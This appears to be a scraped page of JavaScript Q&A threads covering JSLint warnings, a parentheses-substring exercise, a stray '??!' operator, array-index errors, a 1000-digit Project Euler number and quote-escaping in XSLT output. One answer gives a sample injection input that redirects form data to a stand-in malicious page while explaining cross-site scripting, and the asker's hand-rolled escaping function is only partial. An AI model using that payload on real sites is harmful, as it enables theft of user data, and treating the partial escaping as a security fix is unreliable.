Hey so I'm using JSLint under the assumption I'm using a browser and tolerating multiple vars and whitespace mess.
The whole program works, but I have a few problems, according to JSLint. First off, I'm trying to use alert(string) to make pop-up error messages, but JSLint is telling me the alerts are undeclared, I haven't found a resource on the internet that's explained how to make this not happen yet.
Secondly, I have loops that look like this:
function setMixedList() {
"use strict";
clearResults();
var n = "0";
var l = "0";
var text = "";
while (n < numList.length && l < letList.length) {
document.getElementById("listInput").value =
text += numList[n] + letList[l];
n ++;
l ++;
}
This loop in particular takes two separate arrays and mixes them together in order; one containing numbers (1-7) and the other containing letters (a-g) in a way so they appear in a text box like this:
1 a 2 b 3 c 4 d 5 e 6 f 7 g
JSLint doesn't like two things about this. The first is that in the
document.getElementById("listInput").value =
text += numList[n] + letList[l];
section of the loop, JSLint tells me the "+=" is unexpected. When I edit that to:
text = text + numList[n] + letList[l];
JSLint tells me the "=" is unexpected and I'm not sure how to take these things out without making my program unable to work.
The other important part of this is the
n ++;
l ++;
section of code. I know JSLint doesn't like ++, but if I make the code
n+= 1;
l+= 1;
The string doesn't come out right, with some characters undefined because I'm not just dealing with numbers. Anybody know how to fix these problems?
To answer the first part
JSLint is telling me the alert
This can be resolved by following one of the way . In jslint options set
"devel:true" which will enables things like Alert, console,prompt.Check this link to know more about it.
Secondly set browser option set to true in your .jshintrc and use window.alert instead of alert
Related
I am a bit puzzled by one exercise I recently came across with.
It seems like an easy task and I've put my solution but it turned out it didn't pass all the tests :D
In the example, I've found two example substrings:
Input: S = "(()("
Output: 2
Explanation: The longest valid
substring is "()". Length = 2.
and
Input: S = "()(())("
Output: 6
Explanation: The longest valid
substring is "()(())". Length = 6.
at the first glance, everything is clear.
I came up with my solution:
class Solution {
findMaxLen(s) {
if (!s || !s.length) throw new Error('Invalid input value provided')
let openIndex = null
let closingIndex = null
for (let i = 0; i < s.length; i++) {
if (s[i] == '(' && !openIndex) openIndex = i + 1
if (s[i] == ')') closingIndex = i + 1
}
if(!closingIndex || !openIndex) throw new Error('Invalid substring')
return closingIndex - openIndex + 1
}
}
So, my solution should solve the issue of trying to find The longest substring with the opening and closing parentheses.
But it failed the test with an input value: (((()
Where the correct answer is 2 and my output is 5
Is this (((() different from ()(())( one provided in the example?
I suppose I do not wholly understand the idea of what the substring is or something...
This pseudocode should work. Some bugs or edge cases might have loose ends as I just wrote this here on the fly. Feel free to test it and point out the misses.
helper_stack = null
max_valid_len = 0
running_len = 0
for i=0 to input_s.length:
if helper_stack.length == 0:
if input_s[i] == ')':
running_len = 0
continue
else:
helper_stack.push('(')
else:
if input_s[i] == '(':
helper_stack.push('(')
else:
helper_stack.pop()
running_len += 2
if running_len > max_valid_len:
max_valid_len = running_len
EDIT: Explanation
With your logic, you are not keeping track of order of opening and closing of brackets, which is important. If a closing bracket precedes open, string becomes invaid by default. Hence, using stack makes sense here.
If ever we encounter a closing bracket before open, we restart from that point. Hence, we set the running_len = 0. For every encounter of closing bracket, if an open bracket is there to balance it, we just pop it off, and since its a pair (of chars, when we consider length of string), running_len += 2 is done.
With little modification, we can even reproduce max_valid_substring if needed. However, in our case, we could even use just an integer instead of helper_stack. For every push('(') operation, just do var += 1, and var -= 1 for pop and that should also do the trick. Note that here, we are not explicitly using stack, but this is still conceptually LIFO = last in first out which is basically, stack.
when I'm looking for some sites Javascript code, I see this
function hrefLeftMenu() {
var x = true;
for (i in info) {
$(".leftmenu ul").append("<li" + (x ? " class='active'" : "") + " onclick='openAnInfo(\"" + i + "\", this);'> - " + info[i].title + "</li>");
x = x??!x;
}
openAnInfo("0", ".lelelesakineyy");
}
What it does in javascript? Why the coder's used this operator?
Thanks.
What it does in javascript?
It throws a syntax error.
> x = x??!x;
SyntaxError: Unexpected token ?
Why the coder's used this operator?
Taking a reasonable guess (beyond "they made a mistake") would need more context. Saying for sure would require mind reading :)
In JavaScript this is not valid code. However, the sequence ??! exists (existed?) in C as a trigraph, representing |. Maybe that's not JavaScript code, or it was poorly-ported from ancient C code. But even then, x = x | x can hardly be called a useful statement.
EDIT: With a bit context in the question now, that speculation is likely wrong. A friend suggested that maybe the sequence x?? was a typo and subsequent attempt to correct it where backspace was turned into a character by some intermediate mangling (not uncommon when typing in terminals or via SSH) and that the line in question was supposed to be x = !x.
I think it is a mistake. They're generating a menu and x is used to set an item as active, and it looks like they want to default to selecting the first item. They want x to be true the first time around, and then false for the rest. It was probably supposed to be something like
x = x?!x:x; // If first time through, then set x = false for the rest
aka
x = false; // Set x = false for the rest
but confusion/muddy thinking led to over-complification.
Was this a mistake?
Did you mean this?
x= x?x:!x;
I am currently building a small web application with similar functionality across all modules. I want to code small generic functions so that all programmers next to me, call these functions and these functions return necessary but important data for them to implement their functionality. In this example, I am trying to deal with the typical "choose true or false" exercise. So from the template.php they call this function:
function checkAnswers(){
var radiobuttons = document.form1.exer1;
var correctAnswers = answers(); //this is an array of string
var checkedAnswers = checkExerciseRB(radiobuttons, 2, correctAnswers);
for(i=0; i<checkedAnswers.length; i++){
alert(checkedAnswers[i]);
}
}
Function checkExerciseRB is my generic function, it is called from checkAnswers.
function checkExerciseRB(rbuttons, opciones, correct){
var answers = new Array();
var control = 0;
for(i=0; i<rbuttons.length; i++){
var noPick="true";
for(j=0; j<opciones; j++){
if(rbuttons[control+j].checked){
if(rbuttons[control+j].value==correct[i]){
answers[i]= 1;
noPick="false";
break;
}
else{
answers[i]=2;
noPick="false";
break;
}
}
}
if(noPick=="true")
answers[i]=0;
control=control+opciones;
}
return answers;
}
It works great but while looking at my favorite browsers (FireFox, Chrome) error log it says:
TypeError: rbuttons[control + j] is undefined
Any clue on how to deal with this matter?
This probably means that control + j is greater than or equal to the length of the array rbuttons. There's no such array element as rbuttons[control + j].
You should learn how to use the JavaScript debugger in your favorite browsers! Debuggers are great. They let you watch this code run, line by line, as fast or as slow as you want, and watch how the value of control changes as you go.
You’ll watch it, and you’ll think “Oh! That line of code is wrong!”
You're looping through rbuttons.length times, but in each loop you're adding 2 to control. Using control to index your array, you're going to run past the end.
Does the index specified by control + j exist in the array? i.e: If that evaluates to 4, is there at least 5 items in the array?
Also, you should be using var i, var j, etc inside your for loop. Without it your variables are leaking into the scope this code is executed in (most likely the global scope, and that's not good) :)
This question already has answers here:
Closed 12 years ago.
Possible Duplicates:
Is there a bignum library for JavaScript?
Strange syntax of Number methods in JavaScript
I just wrote some code to figure out a Project Euler question.
I kept getting...
Uncaught SyntaxError: Unexpected token ILLEGAL
I couldn't see the syntax error in my code...
The number I'm using is 1000 digits long. I ran in Chrome's console
Number.MAX_VALUE > 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450
And got false. Bummer.
Is there a interpreter that can run my code?
Here is the code if needed...
var num = 7316717653133062491922511967442657474235534919493496983520312774506326239578318016984801869478851843858615607891129494954595017379583319528532088055111254069874715852386305071569329096329522744304355766896648950445244523161731856403098711121722383113622298934233803081353362766142828064444866452387493035890729629049156044077239071381051585930796086670172427121883998797908792274921901699720888093776657273330010533678812202354218097512545405947522435258490771167055601360483958644670632441572215539753697817977846174064955149290862569321978468622482839722413756570560574902614079729686524145351004748216637048440319989000889524345065854122758866688116427171479924442928230863465674813919123162824586178664583591245665294765456828489128831426076900422421902267105562632111110937054421750694165896040807198403850962455444362981230987879927244284909188845801561660979191338754992005240636899125607176060588611646710940507754100225698315520005593572972571636269561882670428252483600823257530420752963450.toString();
var max = 0,
length = num.length;
for (var i = 0; i < length; i++) {
var consecTotal = 1,
limit = i + 5;
for (var j = i; j < limit; j++) {
consecTotal *= parseInt(num.substr(j, 1), 10);
}
max = Math.max(max, consecTotal);
}
console.log(max);
The question is to find the largest number that is the product of 5 consecutive numbers. I won't type it word for word, as I think Project Euler frowns upon answers being posted online (I'm not even sure mine may work yet).
I turned to JavaScript because I wasn't sure how to set up an int to handle the number in C.
To actually explain the Uncaught SyntaxError: Unexpected token ILLEGAL.
The cause of this is actually that...
...20752963450.toString();
^-------- ...the dot after a number is treated as a decimal point
Therefore this doesn't make sense.
But if you add a space in front of the dot, then it will work because
now JavaScript uses it to access the toString() method.
12323 .toString() // this will work as you'd expect it to if you come from Ruby or the like
Still, if you add the space num will be infinity. So you'll have to look at awoodland's answer for a BigNum implementation.
Sounds like you're looking for a big num class. It seems there's one for Javascript and if you want to do it in C you could use gmp.
First, your num variable should be a proper string literal if you want to use it as a string. Which is what you appear to be doing. I've never seen the notation you are trying to use there and I can't get it to work in Chrome or IE. Just use:
var num = '73167176531330....';
Second, your inner loop is never going to terminate. j will always be less than j + 5. Did you perhaps mean j < i + 5?
Third, you'll need to make your outer loop only go to i < length - 4. Otherwise you are going to overrun then end of your "num" string in your inner loop when i gets close to the end length.
If I make those changes I get an answer. I don't know if it is the answer you are seeking.
I am not sure I am going to be able to explain this one right as it may be difficult for me to explain, but I am going to try.
I have a web form which it publish the data to a XML file, then it shows the data in another web page.
Everything works fine, but when the user types a double quote character, at the time the web page try to display the data it crashes due to the double quote symbol, which it make sense as it may be considered as an unfinished string by javascript.
There is also something it is worth mention, and that is that the problem only occurs on a section of the form, where consist of a table which its populated with an array created based of a collection of elements from the XML and then insert the text from the array to the table cells using the innerHTML.
eg.
XML
<node1>
<node2> test "1</node2>
</node1>
<script type="text/javascript">
alert("<xsl:value-of select="node1/node2">");
<script>
This will not work, maybe if I get any workaround to this, I can fix the rest.
Sorry guys if I have not explain myself well enough, I don't know how to expose this problem any better. I would be happy to answer any question if you need it.
Please, note that if any of you have any answer, it has to be javascript, no jquery.
Thanks.
Always escape user input. Your bug is a benign example of the problems that can occur, but it means you're also probably vulnerable to a code injection attack, such as cross-site scripting.
Escaping
Here's what Wikipedia has to say about escaping. Here's an overly-simplified example of what it means. Assume that you have the following JavaScript and that I haven't made any silly errors in it (since I just made it up):
function unsafeAlert() {
alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
}
What happens if the user types in something like '); document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"? Suddenly, your alert causes the form (which might contain sensitive data) to be submitted to an attacker's page. This is obviously a problem. You should have some library code somewhere that escapes the value before you attempt to alert it. This will do things like putting slashes in front of quotes, etc. Also, you probably shouldn't try to write such code yourself, since escaping logic is always at least 10 times harder than you think it will be. You should definitely be getting logic like this from a library somewhere.
Right guys,
I have been playing around, and found a way to fix it.
using the following function.
XML
<node1>
<node2>test "1</node2>
</node1>
<script type="text/javascript">
function convertString(value){
for(var z=0; z <= value.length -1; z++)
{
//if current character is a backslash
if(value.substring(z, z + 1)=="\\" && (value.substring(z, z + 4)!="\\r\\n" && value.substring(z, z + 2)!="\\n"))
{
value = value.substring(0, z) + "\\\\" + value.substring(z + 1, value.length);
z++;
}
if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 4)=="\\r\\n")
{
z = z+4;
}
if(value.substring(z, z + 1)=="\\" && value.substring(z, z + 2)=="\\n")
{
z = z+2;
}
}
//replace " with \"
//loop through each character
for(var x = 0; x <= value.length -1; x++){
//if current character is a quote
if(value.substring(x, x + 1)=="\""){
//concatenate: value up to the quote + \" + value AFTER the quote
value = value.substring(0, x) + "\\\"" + value.substring(x + 1, value.length);
//account for extra character
x++;
}
}
//return the modified string
return(value);
}
<script>
alert("<xsl:value-of select="convertString(string(node1/node2))"/>");
Thanks to everyone who answered in this question.